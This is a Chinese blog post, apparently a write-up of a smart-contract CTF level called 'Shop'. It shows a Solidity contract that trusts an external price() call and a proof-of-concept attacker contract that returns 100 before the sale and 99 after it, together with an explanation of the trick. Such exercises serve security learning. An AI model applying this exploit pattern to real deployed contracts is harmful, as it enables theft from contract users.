Q1ngying

今朝梦醒与君别,遥盼春风寄相思

0%

Shop-wp

Shop-wp

合约可以以任何他们想要的方式操纵可看到的其他合约的数据。

根据外部和不受信任的合约逻辑更改状态是不安全的

合约源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
function price() external view returns (uint);
}

contract Shop {
uint public price = 100;
bool public isSold;

function buy() public {
Buyer _buyer = Buyer(msg.sender);

if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
contract Buyer_Hack {
Shop immutable target;

constructor(address tar) {
target = Shop(tar);
}

function pwn() external {
target.buy();
require(target.price() == 99,"hack failed");
}

function price() external view returns (uint) {
if(target.isSold() == false) {
return 100;
}
return 99;
}
}

攻击原理:

在 Shop 合约中,要求我们最后设置的 price < 100 即可通关,而实际上,buy函数调用了两次_buyer.price()函数,也就是我们需要:第一次调用price()函数返回值>=100,第二次调用price()函数返回值 < 100。实际上,Shop 合约中的Buyer _buyer = Buyer(mag.sender)使得我们可以在我们的攻击合约中设计price()函数的逻辑,由于Buyer(msg.sender)的限制,所以攻击的逻辑,也必须要在我们实现price()这个合约中,这也是为什么pwn()函数要和price()必须在一个合约中。而想要实现两次调用price()返回值不同,因为price()函数是view类型,不能通过添加状态变量修改状态变量的形式,但是view是可以访问状态变量的,那么只要两次的状态变量不同,被其他逻辑修改便可以利用。比如在两次调用_buyer.price()的过程中,状态变量isSlod发生了变化,所以我们可以通过判断状态变量isSlod来实现两次调用price()返回值不同的操作